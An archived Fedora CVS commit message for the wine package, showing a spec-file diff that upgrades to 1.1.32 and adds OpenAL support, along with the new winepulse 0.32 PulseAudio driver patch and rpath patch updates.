 Summary:	A Windows 16/32/64 bit emulator
 
 Group:		Applications/Emulators
@@ -47,17 +47,15 @@ Source300:      wine-mime-msi.desktop
 # explain how to use wine with pulseaudio
 # see http://bugs.winehq.org/show_bug.cgi?id=10495
 # and http://art.ified.ca/?page_id=40
-Patch400:       http://art.ified.ca/downloads/winepulse-0.30-configure.ac.patch
-Patch401:       http://art.ified.ca/downloads/winepulse-0.30.patch
-Patch402:        http://art.ified.ca/downloads/winepulse/winepulse-winecfg-0.6.patch
+Patch400:       http://art.ified.ca/downloads/winepulse-0.32-configure.ac.patch
+Patch401:       http://art.ified.ca/downloads/winepulse-0.32.patch
+Patch402:       http://art.ified.ca/downloads/winepulse/winepulse-winecfg-0.6.patch
 Source402:      README-FEDORA-PULSEAUDIO
 
 Patch1:         wine-rpath.patch
 
 # bugfix patches
-# fix steam regression http://bugs.winehq.org/show_bug.cgi?id=19916
-# upstream commit 70241904b9efacab9fb6c7d8701b1cfdb86f49f7
-Patch1000:      steam-regression.patch
+# none
 
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -112,6 +110,7 @@ BuildRequires:  dbus-devel hal-devel
 BuildRequires:  gnutls-devel
 BuildRequires:  pulseaudio-libs-devel
 BuildRequires:  gsm-devel
+BuildRequires:  openal-soft-devel
 
 # noarch
 Requires:       wine-common = %{version}-%{release}
@@ -299,6 +298,15 @@ Requires: wine-core = %{version}-%{relea
 %description oss
 This package adds an oss driver for wine.
 
+%package openal
+Summary: Openal support for wine
+Group: System Environment/Libraries
+Requires: wine-core = %{version}-%{release}
+
+%description openal
+This package adds an openal driver for wine.
+
+
 %prep
 %setup -q -n %{name}-%{version}-fe
 
@@ -307,8 +315,6 @@ This package adds an oss driver for wine
 %patch401 -p1
 %patch402 -p1
 
-%patch1000 -p1
-
 autoreconf
 
 %build
@@ -498,6 +504,9 @@ update-desktop-database &>/dev/null || :
 %post oss -p /sbin/ldconfig
 %postun oss -p /sbin/ldconfig
 
+%post openal -p /sbin/ldconfig
+%postun openal -p /sbin/ldconfig
+
 %files
 %defattr(-,root,root,-)
 # meta package
@@ -550,6 +559,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/fakedlls/*
 %{_libdir}/wine/cacls.exe.so
 %{_libdir}/wine/expand.exe.so
+%{_libdir}/wine/extrac32.exe.so
 %{_libdir}/wine/winhlp32.exe.so
 %{_libdir}/wine/msiexec.exe.so
 %{_libdir}/wine/net.exe.so
@@ -642,6 +652,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/dxgi.dll.so
 %{_libdir}/wine/eject.exe.so
 %{_libdir}/wine/faultrep.dll.so
+%{_libdir}/wine/fltlib.dll.so
 %{_libdir}/wine/fusion.dll.so
 %{_libdir}/wine/gdi32.dll.so
 %{_libdir}/wine/gdiplus.dll.so
@@ -817,7 +828,6 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/wintab32.dll.so
 %{_libdir}/wine/wintrust.dll.so
 %{_libdir}/wine/wnaspi32.dll.so
-%{_libdir}/wine/wow32.dll.so
 %{_libdir}/wine/ws2_32.dll.so
 %{_libdir}/wine/wsock32.dll.so
 %{_libdir}/wine/wtsapi32.dll.so
@@ -843,13 +853,10 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/winevdm.exe.so
 %{_libdir}/wine/ifsmgr.vxd.so
 %{_libdir}/wine/mmdevldr.vxd.so
-%{_libdir}/wine/mmsystem.dll16
 %{_libdir}/wine/monodebg.vxd.so
 %{_libdir}/wine/vdhcp.vxd.so
-%{_libdir}/wine/ver.dll16
 %{_libdir}/wine/user.exe16
 %{_libdir}/wine/vmm.vxd.so
-%{_libdir}/wine/wing.dll16
 %{_libdir}/wine/vnbt.vxd.so
 %{_libdir}/wine/vnetbios.vxd.so
 %{_libdir}/wine/vtdapi.vxd.so
@@ -857,12 +864,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/w32skrnl.dll.so
 %{_libdir}/wine/commdlg.dll16
 %{_libdir}/wine/gdi.exe16
-%{_libdir}/wine/setupx.dll16
-%{_libdir}/wine/system.drv16
-%{_libdir}/wine/toolhelp.dll16
-%{_libdir}/wine/winsock.dll16
 %{_libdir}/wine/wprocs.dll16
-%{_libdir}/wine/wineps16.drv16
 
 %{_libdir}/wine/avifile.dll16.so
 %{_libdir}/wine/comm.drv16.so
@@ -876,6 +878,7 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/krnl386.exe16
 %{_libdir}/wine/keyboard.drv16.so
 %{_libdir}/wine/lzexpand.dll16.so
+%{_libdir}/wine/mmsystem.dll16.so
 %{_libdir}/wine/mouse.drv16.so
 %{_libdir}/wine/msacm.dll16.so
 %{_libdir}/wine/msvideo.dll16.so
@@ -888,21 +891,29 @@ update-desktop-database &>/dev/null || :
 %{_libdir}/wine/olecli.dll16.so
 %{_libdir}/wine/olesvr.dll16.so
 %{_libdir}/wine/rasapi16.dll16.so
+%{_libdir}/wine/setupx.dll16.so
 %{_libdir}/wine/shell.dll16.so
 %{_libdir}/wine/sound.drv16.so
 %{_libdir}/wine/storage.dll16.so
 %{_libdir}/wine/stress.dll16.so
+%{_libdir}/wine/system.drv16.so
+%{_libdir}/wine/toolhelp.dll16.so
 %{_libdir}/wine/twain.dll16.so
 %{_libdir}/wine/typelib.dll16.so
+%{_libdir}/wine/ver.dll16.so
 %{_libdir}/wine/w32sys.dll16.so
 %{_libdir}/wine/win32s16.dll16.so
 %{_libdir}/wine/win87em.dll16.so
 %{_libdir}/wine/winaspi.dll16.so
 %{_libdir}/wine/windebug.dll16.so
+%{_libdir}/wine/wineps16.drv16.so
+%{_libdir}/wine/wing.dll16.so
 %{_libdir}/wine/winhelp.exe16.so
 %{_libdir}/wine/winnls.dll16.so
 %{_libdir}/wine/winoldap.mod16.so
+%{_libdir}/wine/winsock.dll16.so
 %{_libdir}/wine/wintab.dll16.so
+%{_libdir}/wine/wow32.dll.so
 %endif
 
 %files common
@@ -1030,7 +1041,22 @@ update-desktop-database &>/dev/null || :
 %defattr(-,root,root,-)
 %{_libdir}/wine/wineoss.drv.so
 
+%files openal
+%defattr(-,root,root,-)
+%{_libdir}/wine/openal32.dll.so
+
 %changelog
+* Tue Oct 27 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 1.1.32-1
+- version upgrade (#531358)
+- update winepulse
+
+* Mon Sep 28 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 1.1.30-1
+- version upgrade
+- openal support
+- drop steam regression patch
+
 * Sun Sep 13 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 1.1.29-3
 - patch for steam regression (upstream #19916)


--- steam-regression.patch DELETED ---


--- winepulse-0.30-configure.ac.patch DELETED ---


--- winepulse-0.30.patch DELETED ---



From awjb at fedoraproject.org  Fri Oct 30 14:57:29 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 30 Oct 2009 14:57:29 +0000 (UTC)
Subject: rpms/wine/devel winepulse-0.32-configure.ac.patch, NONE,
	1.1 winepulse-0.32.patch, NONE, 1.1 .cvsignore, 1.79,
	1.80 sources, 1.80, 1.81 wine-rpath.patch, 1.8, 1.9 wine.spec,
	1.114, 1.115 steam-regression.patch, 1.1,
	NONE winepulse-0.30-configure.ac.patch, 1.1,
	NONE winepulse-0.30.patch, 1.1, NONE
Message-ID: <20091030145729.1680B11C00EA@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/wine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9506/devel

Modified Files:
	.cvsignore sources wine-rpath.patch wine.spec 
Added Files:
	winepulse-0.32-configure.ac.patch winepulse-0.32.patch 
Removed Files:
	steam-regression.patch winepulse-0.30-configure.ac.patch 
	winepulse-0.30.patch 
Log Message:
- version upgrade


winepulse-0.32-configure.ac.patch:
 configure.ac |   26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

--- NEW FILE winepulse-0.32-configure.ac.patch ---
diff --git a/configure.ac b/configure.ac
index 0cc339b..3f34f12 100644
--- a/configure.ac
+++ b/configure.ac
@@ -64,6 +64,7 @@ AC_ARG_WITH(png,       AS_HELP_STRING([--without-png],[do not use PNG]),
             [if test "x$withval" = "xno"; then ac_cv_header_png_h=no; fi])
 AC_ARG_WITH(pthread,   AS_HELP_STRING([--without-pthread],[do not use the pthread library]),
             [if test "x$withval" = "xno"; then ac_cv_header_pthread_h=no; fi])
+AC_ARG_WITH(pulse,     AC_HELP_STRING([--without-pulse],[do not use PulseAudio sound support]))
 AC_ARG_WITH(sane,      AS_HELP_STRING([--without-sane],[do not use SANE (scanner support)]))
 AC_ARG_WITH(xcomposite,AS_HELP_STRING([--without-xcomposite],[do not use the Xcomposite extension]),
             [if test "x$withval" = "xno"; then ac_cv_header_X11_extensions_Xcomposite_h=no; fi])
@@ -1297,6 +1298,28 @@ then
     CFLAGS="$save_CFLAGS"
 fi
 
+dnl **** Check for PulseAudio ****
+if test "x$with_pulse" != "xno"; then
+    if test "$PKG_CONFIG" != "false"; then
+        AC_MSG_CHECKING([for pulseaudio >= 0.9.14])
+        if "$PKG_CONFIG" --atleast-version=0.9.14 libpulse; then
+            have_pulseaudio="yes"
+        else
+            have_pulseaudio="no"
+        fi
+        AC_MSG_RESULT([$have_pulseaudio])
+        if test x"$have_pulseaudio" = xyes; then
+            ac_pulse_libs=`$PKG_CONFIG --libs libpulse`
+            AC_DEFINE([HAVE_PULSEAUDIO], 1, [define this if you have pulseaudio])
+            AC_SUBST(PULSELIBS, "$ac_pulse_libs")
+	else
+            dnl This warning should be removed if ever commited.
+            dnl Only useful to show that the problem wasn't the patch.
+            WINE_WARNING([libpulse not found or too old. Pulseaudio support will NOT be built.])
+        fi
+    fi
+fi
+
 dnl **** Check for ALSA 1.x ****
 AC_SUBST(ALSALIBS,"")
 if test "$ac_cv_header_sys_asoundlib_h" = "yes" -o "$ac_cv_header_alsa_asoundlib_h" = "yes"
@@ -1449,7 +1472,7 @@ dnl **** Check for libodbc ****
 WINE_CHECK_SONAME(odbc,SQLConnect,,[AC_DEFINE_UNQUOTED(SONAME_LIBODBC,["libodbc.$LIBEXT"])])
 
 dnl **** Check for any sound system ****
-if test "x$ALSALIBS$AUDIOIOLIBS$COREAUDIO$NASLIBS$ESDLIBS$ac_cv_lib_soname_jack" = "x" -a \
+if test "x$ALSALIBS$AUDIOIOLIBS$COREAUDIO$NASLIBS$ESDLIBS$PULSELIBS$ac_cv_lib_soname_jack" = "x" -a \
         "$ac_cv_header_sys_soundcard_h" != "yes" -a \
         "$ac_cv_header_machine_soundcard_h" != "yes" -a \
         "$ac_cv_header_soundcard_h" != "yes" -a \
@@ -2509,6 +2532,7 @@ WINE_CONFIG_MAKEFILE([dlls/winenas.drv/Makefile],[dlls/Makedll.rules],[dlls],[AL
 WINE_CONFIG_MAKEFILE([dlls/wineoss.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wineps.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wineps16.drv16/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS],[enable_win16])
+WINE_CONFIG_MAKEFILE([dlls/winepulse.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/winequartz.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/winex11.drv/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS])
 WINE_CONFIG_MAKEFILE([dlls/wing.dll16/Makefile],[dlls/Makedll.rules],[dlls],[ALL_DLL_DIRS],[enable_win16])

winepulse-0.32.patch:
 Makefile.in        |   15 
 pulse.c            |  788 +++++++++++++++++++++++++++++++++++++++
 wavein.c           |  595 ++++++++++++++++++++++++++++++
 waveout.c          | 1049 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 winepulse.drv.spec |    3 
 winepulse.h        |  196 +++++++++
 6 files changed, 2646 insertions(+)

--- NEW FILE winepulse-0.32.patch ---
diff --git a/dlls/winepulse.drv/Makefile.in b/dlls/winepulse.drv/Makefile.in
new file mode 100644
index 0000000..c99c1da
--- /dev/null
+++ b/dlls/winepulse.drv/Makefile.in
@@ -0,0 +1,15 @@
+TOPSRCDIR = @top_srcdir@
+TOPOBJDIR = ../..
+SRCDIR    = @srcdir@
+VPATH     = @srcdir@
+MODULE    = winepulse.drv
+IMPORTS   = winmm user32 kernel32
+EXTRALIBS = @PULSELIBS@
+
+C_SRCS = waveout.c \
+         wavein.c \
+         pulse.c
+
+ at MAKE_DLL_RULES@
+
+ at DEPENDENCIES@  # everything below this line is overwritten by make depend
diff --git a/dlls/winepulse.drv/pulse.c b/dlls/winepulse.drv/pulse.c
new file mode 100644
index 0000000..3dcb086
--- /dev/null
+++ b/dlls/winepulse.drv/pulse.c
@@ -0,0 +1,788 @@
+/*
+ * Wine Driver for PulseAudio
+ * http://pulseaudio.org/
+ *
+ * Copyright    2009 Arthur Taylor <theycallhimart at gmail.com>
+ *
+ * Contains code from other wine sound drivers.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#include "config.h"
+
+#include <stdarg.h>
+#include <stdio.h>
+
+#include "windef.h"
+#include "winbase.h"
+#include "wingdi.h"
+#include "winuser.h"
+#include "winreg.h"
+#include "mmddk.h"
+#include "ks.h"
+#include "ksguid.h"
+#include "ksmedia.h"
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+#include <poll.h>
+
+#ifdef HAVE_PULSEAUDIO
+
+#include "wine/unicode.h"
+#include "wine/debug.h"
+#include "wine/library.h"
+
+#include <winepulse.h>
+#include <pulse/pulseaudio.h>
+WINE_DEFAULT_DEBUG_CHANNEL(wave);
+
+/* These strings used only for tracing */
+const char * PULSE_getCmdString(enum win_wm_message msg) {
+    static char unknown[32];
+#define MSG_TO_STR(x) case x: return #x
+    switch(msg) {
+    MSG_TO_STR(WINE_WM_PAUSING);
+    MSG_TO_STR(WINE_WM_RESTARTING);
+    MSG_TO_STR(WINE_WM_RESETTING);
+    MSG_TO_STR(WINE_WM_HEADER);
+    MSG_TO_STR(WINE_WM_BREAKLOOP);
+    MSG_TO_STR(WINE_WM_CLOSING);
+    MSG_TO_STR(WINE_WM_STARTING);
+    MSG_TO_STR(WINE_WM_STOPPING);
+    MSG_TO_STR(WINE_WM_XRUN);
+    MSG_TO_STR(WINE_WM_FEED);
+    }
+#undef MSG_TO_STR
+    sprintf(unknown, "UNKNOWN(0x%08x)", msg);
+    return unknown;
+}
+
+/*======================================================================*
+ *          Ring Buffer Functions - copied from winealsa.drv            *
+ *======================================================================*/
+
+/* unless someone makes a wineserver kernel module, Unix pipes are faster than win32 events */
+#define USE_PIPE_SYNC
+
+#ifdef USE_PIPE_SYNC
+#define INIT_OMR(omr) do { if (pipe(omr->msg_pipe) < 0) { omr->msg_pipe[0] = omr->msg_pipe[1] = -1; } } while (0)
+#define CLOSE_OMR(omr) do { close(omr->msg_pipe[0]); close(omr->msg_pipe[1]); } while (0)
+#define SIGNAL_OMR(omr) do { int x = 0; write((omr)->msg_pipe[1], &x, sizeof(x)); } while (0)
+#define CLEAR_OMR(omr) do { int x = 0; read((omr)->msg_pipe[0], &x, sizeof(x)); } while (0)
+#define RESET_OMR(omr) do { } while (0)
+#define WAIT_OMR(omr, sleep) \
+  do { struct pollfd pfd; pfd.fd = (omr)->msg_pipe[0]; \
+       pfd.events = POLLIN; poll(&pfd, 1, sleep); } while (0)
+#else
+#define INIT_OMR(omr) do { omr->msg_event = CreateEventW(NULL, FALSE, FALSE, NULL); } while (0)
+#define CLOSE_OMR(omr) do { CloseHandle(omr->msg_event); } while (0)
+#define SIGNAL_OMR(omr) do { SetEvent((omr)->msg_event); } while (0)
+#define CLEAR_OMR(omr) do { } while (0)
+#define RESET_OMR(omr) do { ResetEvent((omr)->msg_event); } while (0)
+#define WAIT_OMR(omr, sleep) \
+  do { WaitForSingleObject((omr)->msg_event, sleep); } while (0)
+#endif
+
+#define PULSE_RING_BUFFER_INCREMENT      64
+
+/******************************************************************
+ *                  PULSE_InitRingMessage
+ *
+ * Initialize the ring of messages for passing between driver's caller
+ * and playback/record thread
+ */
+int PULSE_InitRingMessage(PULSE_MSG_RING* omr)
+{
+    omr->msg_toget = 0;
+    omr->msg_tosave = 0;
+    INIT_OMR(omr);
+    omr->ring_buffer_size = PULSE_RING_BUFFER_INCREMENT;
+    omr->messages = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,omr->ring_buffer_size * sizeof(PULSE_MSG));
+
+    InitializeCriticalSection(&omr->msg_crst);
+    omr->msg_crst.DebugInfo->Spare[0] = (DWORD_PTR)(__FILE__ ": PULSE_MSG_RING.msg_crst");
+    return 0;
+}
+
+/******************************************************************
+ *                  PULSE_DestroyRingMessage
+ *
+ */
+int PULSE_DestroyRingMessage(PULSE_MSG_RING* omr)
+{
+    CLOSE_OMR(omr);
+    HeapFree(GetProcessHeap(),0,omr->messages);
+    omr->messages = NULL;
+    omr->ring_buffer_size = PULSE_RING_BUFFER_INCREMENT;
+    omr->msg_crst.DebugInfo->Spare[0] = 0;
+    DeleteCriticalSection(&omr->msg_crst);
+    return 0;
+}
+/******************************************************************
+ *                  PULSE_ResetRingMessage
+ *
+ */
+void PULSE_ResetRingMessage(PULSE_MSG_RING* omr)
+{
+    RESET_OMR(omr);
+}
+
+/******************************************************************
+ *                  PULSE_WaitRingMessage
+ *
+ */
+void PULSE_WaitRingMessage(PULSE_MSG_RING* omr, DWORD sleep)
+{
+    WAIT_OMR(omr, sleep);
+}
+
+/******************************************************************
+ *                  PULSE_AddRingMessage
+ *
+ * Inserts a new message into the ring (should be called from DriverProc derived routines)
+ */
+int PULSE_AddRingMessage(PULSE_MSG_RING* omr, enum win_wm_message msg, DWORD param, BOOL wait)
+{
+    HANDLE      hEvent = INVALID_HANDLE_VALUE;
+
+    EnterCriticalSection(&omr->msg_crst);
+    if ((omr->msg_toget == ((omr->msg_tosave + 1) % omr->ring_buffer_size)))
+    {
+        int old_ring_buffer_size = omr->ring_buffer_size;
+        omr->ring_buffer_size += PULSE_RING_BUFFER_INCREMENT;
+        omr->messages = HeapReAlloc(GetProcessHeap(),0,omr->messages, omr->ring_buffer_size * sizeof(PULSE_MSG));
+        /* Now we need to rearrange the ring buffer so that the new
+           buffers just allocated are in between omr->msg_tosave and
+           omr->msg_toget.
+        */
[...2283 lines suppressed...]
index 0000000..0aa7e86
--- /dev/null
+++ b/dlls/winepulse.drv/winepulse.h
@@ -0,0 +1,196 @@
+/* Definitions for PulseAudio Wine Driver
+ *
+ * Copyright    2009 Arthur Taylor <theycallhimart at gmail.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#ifndef __WINE_CONFIG_H
+# error You must include config.h to use this header
+#endif
+
+#if defined(HAVE_PULSEAUDIO) && !defined(__WINEPULSE_H)
+#define __WINEPULSE_H
+
+#include "mmreg.h"
+#include "dsound.h"
+#include "dsdriver.h"
+
+#include "ks.h"
+#include "ksmedia.h"
+#include "ksguid.h"
+
+#include <pulse/pulseaudio.h>
+
+/* state diagram for waveOut writing:
+ *
+ * +---------+-------------+---------------+---------------------------------+
+ * |  state  |  function   |     event     |            new state            |
+ * +---------+-------------+---------------+---------------------------------+
+ * |         | open()      |               | STOPPED                         |
+ * | PAUSED  | write()     |               | PAUSED                          |
+ * | STOPPED | write()     | <thrd create> | PLAYING                         |
+ * | PLAYING | write()     | HEADER        | PLAYING                         |
+ * | (other) | write()     | <error>       |                                 |
+ * | (any)   | pause()     | PAUSING       | PAUSED                          |
+ * | PAUSED  | restart()   | RESTARTING    | PLAYING (if no thrd => STOPPED) |
+ * | (any)   | reset()     | RESETTING     | STOPPED                         |
+ * | (any)   | close()     | CLOSING       | CLOSED                          |
+ * +---------+-------------+---------------+---------------------------------+
+ */
+
+/* states of the playing device */
+#define WINE_WS_PLAYING         1
+#define WINE_WS_PAUSED          2
+#define WINE_WS_STOPPED         3
+#define WINE_WS_CLOSED          4
+#define WINE_WS_FAILED          5
+
+#define PULSE_ALL_FORMATS \
+        WAVE_FORMAT_1M08 |      /* Mono     11025Hz 8-bit  */\
+        WAVE_FORMAT_1M16 |      /* Mono     11025Hz 16-bit */\
+        WAVE_FORMAT_1S08 |      /* Stereo   11025Hz 8-bit  */\
+        WAVE_FORMAT_1S16 |      /* Stereo   11025Hz 16-bit */\
+        WAVE_FORMAT_2M08 |      /* Mono     22050Hz 8-bit  */\
+        WAVE_FORMAT_2M16 |      /* Mono     22050Hz 16-bit */\
+        WAVE_FORMAT_2S08 |      /* Stereo   22050Hz 8-bit  */\
+        WAVE_FORMAT_2S16 |      /* Stereo   22050Hz 16-bit */\
+        WAVE_FORMAT_4M08 |      /* Mono     44100Hz 8-bit  */\
+        WAVE_FORMAT_4M16 |      /* Mono     44100Hz 16-bit */\
+        WAVE_FORMAT_4S08 |      /* Stereo   44100Hz 8-bit  */\
+        WAVE_FORMAT_4S16 |      /* Stereo   44100Hz 16-bit */\
+        WAVE_FORMAT_48M08 |     /* Mono     48000Hz 8-bit  */\
+        WAVE_FORMAT_48S08 |     /* Stereo   48000Hz 8-bit  */\
+        WAVE_FORMAT_48M16 |     /* Mono     48000Hz 16-bit */\
+        WAVE_FORMAT_48S16 |     /* Stereo   48000Hz 16-bit */\
+        WAVE_FORMAT_96M08 |     /* Mono     96000Hz 8-bit  */\
+        WAVE_FORMAT_96S08 |     /* Stereo   96000Hz 8-bit  */\
+        WAVE_FORMAT_96M16 |     /* Mono     96000Hz 16-bit */\
+        WAVE_FORMAT_96S16       /* Stereo   96000Hz 16-bit */
+
+/* events to be sent to device */
+enum win_wm_message {
+    WINE_WM_PAUSING = WM_USER + 1, WINE_WM_RESTARTING, WINE_WM_RESETTING, WINE_WM_HEADER,
+    WINE_WM_BREAKLOOP, WINE_WM_CLOSING, WINE_WM_STARTING, WINE_WM_STOPPING, WINE_WM_XRUN, WINE_WM_FEED
+};
+
+typedef struct {
+    enum win_wm_message msg;    /* message identifier */
+    DWORD               param;  /* parameter for this message */
+    HANDLE              hEvent; /* if message is synchronous, handle of event for synchro */
+} PULSE_MSG;
+
+/* implement an in-process message ring for better performance
+ * (compared to passing thru the server)
+ * this ring will be used by the input (resp output) record (resp playback) routine
+ */
+typedef struct {
+    PULSE_MSG                   * messages;
+    int                         ring_buffer_size;
+    int                         msg_tosave;
+    int                         msg_toget;
+/* Either pipe or event is used, but that is defined in pulse.c,
+ * since this is a global header we define both here */
+    int                         msg_pipe[2];
+    HANDLE                      msg_event;
+    CRITICAL_SECTION            msg_crst;
+} PULSE_MSG_RING;
+
+typedef struct WINE_WAVEDEV WINE_WAVEDEV;
+typedef struct WINE_WAVEINST WINE_WAVEINST;
+
+/* Per-playback/record device */
+struct WINE_WAVEDEV {
+    char                interface_name[MAXPNAMELEN * 2];
+    char                *device_name;
+    pa_cvolume          volume;
+
+    union {
+        WAVEOUTCAPSW    out;
+        WAVEINCAPSW     in;
+    } caps;
+    
+    /* DirectSound stuff */
+    DSDRIVERDESC                ds_desc;
+    DSDRIVERCAPS                ds_caps;
+};
+
+/* Per-playback/record instance */
+struct WINE_WAVEINST {
+    INT                 state;              /* one of the WINE_WS_ manifest constants */
+    WAVEOPENDESC        waveDesc;
+    WORD                wFlags;
+
+    /* PulseAudio specific data */
+    pa_stream           *stream;            /* The PulseAudio stream */
+    const pa_timing_info *timing_info;      /* The timing info structure for the stream */
+    pa_sample_spec      sample_spec;        /* Sample spec of this stream / device */
+    pa_cvolume          volume;             /* Software volume of the stream */
+    pa_buffer_attr      buffer_attr;        /* Buffer attribute, may not be used */
+
+    /* waveIn / waveOut wavaHdr */
+    LPWAVEHDR           lpQueuePtr;         /* Start of queued WAVEHDRs (waiting to be notified) */
+    LPWAVEHDR           lpPlayPtr;          /* Start of not yet fully written buffers */
+    DWORD               dwPartialOffset;    /* Offset of not yet written bytes in lpPlayPtr */
+    LPWAVEHDR           lpLoopPtr;          /* Pointer of first buffer in loop, if any */
+    DWORD               dwLoops;            /* Private copy of loop counter */
+    DWORD               dwLastReset;        /* When the last reset occured, as pa stream time doesn't reset */
+
+    /* waveIn specific */
+    const void          *buffer;            /* Pointer to the latest data fragment for recording streams */
+    DWORD               buffer_length;      /* How large the latest data fragment is */
+    DWORD               buffer_read_offset; /* How far into latest data fragment we last read */
+
+    /* Thread communication and synchronization stuff */
+    HANDLE              hStartUpEvent;
+    HANDLE              hThread;
+    DWORD               dwThreadID;
+    PULSE_MSG_RING      msgRing;
+};
+
+/* We establish one context per instance, so make it global to the lib */
+pa_context              *PULSE_context;   /* Connection Context */
+pa_threaded_mainloop    *PULSE_ml;        /* PA Runtime information */
+
+/* WaveIn / WaveOut devices */
+WINE_WAVEDEV *WOutDev;
+WINE_WAVEDEV *WInDev;
+DWORD PULSE_WodNumDevs;
+DWORD PULSE_WidNumDevs;
+
+/* pulse.c: PulseAudio Async Callbacks */
+void    PULSE_StreamSuccessCallback(pa_stream *s, int success, void *userdata);
+void    PULSE_StreamStateCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamUnderflowCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamSuspendedCallback(pa_stream *s, void *userdata);
+void    PULSE_StreamMovedCallback(pa_stream *s, void *userdata);
+void    PULSE_ContextSuccessCallback(pa_context *c, int success, void *userdata);
+
+/* pulse.c: General Functions */
+void    PULSE_WaitForOperation(pa_operation *o);
+BOOL    PULSE_SetupFormat(LPWAVEFORMATEX wf, pa_sample_spec *ss);
+HRESULT PULSE_UsecToMMTime(pa_usec_t time, LPMMTIME lpTime, const pa_sample_spec *ss);
+
+/* pulse.c: Message Ring */
+int     PULSE_InitRingMessage(PULSE_MSG_RING* omr);
+int     PULSE_DestroyRingMessage(PULSE_MSG_RING* omr);
+void    PULSE_ResetRingMessage(PULSE_MSG_RING* omr);
+void    PULSE_WaitRingMessage(PULSE_MSG_RING* omr, DWORD sleep);
+int     PULSE_AddRingMessage(PULSE_MSG_RING* omr, enum win_wm_message msg, DWORD param, BOOL wait);
+int     PULSE_RetrieveRingMessage(PULSE_MSG_RING* omr, enum win_wm_message *msg, DWORD *param, HANDLE *hEvent);
+
+/* pulse.c: Tracing */
+const char * PULSE_getCmdString(enum win_wm_message msg);
+#endif


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wine/devel/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	2 Sep 2009 20:36:03 -0000	1.79
+++ .cvsignore	30 Oct 2009 14:57:28 -0000	1.80
@@ -1 +0,0 @@
-wine-1.1.29-fe.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wine/devel/sources,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- sources	2 Sep 2009 20:36:03 -0000	1.80
+++ sources	30 Oct 2009 14:57:28 -0000	1.81
@@ -1 +0,0 @@
-3782b65da7db94460b93961356715403  wine-1.1.29-fe.tar.bz2

wine-rpath.patch:
 configure |   20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

Index: wine-rpath.patch
===================================================================
RCS file: /cvs/pkgs/rpms/wine/devel/wine-rpath.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- wine-rpath.patch	30 Aug 2009 21:27:13 -0000	1.8
+++ wine-rpath.patch	30 Oct 2009 14:57:28 -0000	1.9
@@ -1,6 +1,6 @@
---- configure.orig	2009-08-26 11:47:17.000000000 +0200
-+++ configure	2009-08-26 11:50:07.000000000 +0200
-@@ -6565,14 +6565,14 @@
+--- configure.orig	2009-10-29 18:57:06.000000000 +0100
++++ configure	2009-10-29 18:58:49.000000000 +0100
+@@ -6758,14 +6758,14 @@
  
  fi
  
@@ -18,15 +18,28 @@
 +CFLAGS="$CFLAGS -fPIC"
  cat confdefs.h - <<_ACEOF >conftest.$ac_ext
  /* end confdefs.h.  */
- 
-@@ -6597,8 +6597,8 @@
+ int main(int argc, char *argv) { return 0; }
+@@ -6783,17 +6783,17 @@
  	       { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5
  $as_echo "$ac_res" >&6; }
  if test `eval 'as_val=${'$as_ac_var'};$as_echo "$as_val"'` = yes; then :
